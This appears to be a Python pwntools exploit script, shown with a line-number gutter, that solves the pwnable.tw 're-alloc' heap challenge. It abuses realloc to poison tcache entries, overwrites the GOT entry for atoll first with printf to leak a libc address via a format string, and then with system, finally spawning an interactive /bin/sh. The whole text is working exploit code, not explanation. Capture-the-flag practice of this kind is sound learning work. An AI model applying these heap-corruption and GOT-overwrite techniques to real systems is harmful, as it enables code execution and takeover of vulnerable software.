1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import *
exe = ELF("./re-alloc_patched") libc = ELF("./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so") ld = ELF("./ld-2.29.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10106)
return r
def allocate (p, idx, size, data): p.sendlineafter (b': ', b'1') p.sendafter (b':', idx) p.sendafter (b':', size) p.sendafter (b':', data)
def re_allocate (p, idx, size, data): p.sendlineafter (b': ', b'2') p.sendafter (b':', idx) p.sendafter (b':', size) if size != b'0': p.sendafter (b':', data)
def rfree (p, idx): p.sendlineafter (b': ', b'3') p.sendafter (b':', idx)
def main(): p = conn()
allocate (p, b'0', b'30', b'ndd') re_allocate (p, b'0', b'0', b'abcd') re_allocate (p, b'0', b'30', p64(exe.got['atoll']) + b'A' * 8)
allocate (p, b'1', b'30', b'ndd') re_allocate (p, b'1', b'50', b'ndd') rfree (p, b'1') re_allocate (p, b'0', b'50', b'A' * 16) rfree (p, b'0')
allocate (p, b'0', b'20', b'ndd') re_allocate (p, b'0', b'0', b'abcd') re_allocate (p, b'0', b'20', p64 (exe.got['atoll'])) allocate (p, b'1', b'20', b'asdkfj') re_allocate (p, b'1', b'50', b'ndd') rfree (p, b'1') re_allocate (p, b'0', b'50', b'A' * 16) rfree (p, b'0') allocate (p, b'0', b'30', p64 (exe.plt['printf']))
p.sendlineafter (b': ', b'1') p.sendafter (b':', b'%9$llx')
leak_libc = p.recv(12).decode ('utf-8') leak_libc = int (leak_libc, 16) print ("The leak from libc is : ", hex(leak_libc)) libc.address = leak_libc - libc.symbols['_IO_2_1_stdout_'] print ("The libc address is : ", hex (libc.address))
allocate (p, b'1', b'%20c', p64 (libc.symbols['system'])) p.sendlineafter (b': ', b'1') p.sendafter (b':', b'/bin/sh\x00')
p.interactive()
if __name__ == "__main__": main()
|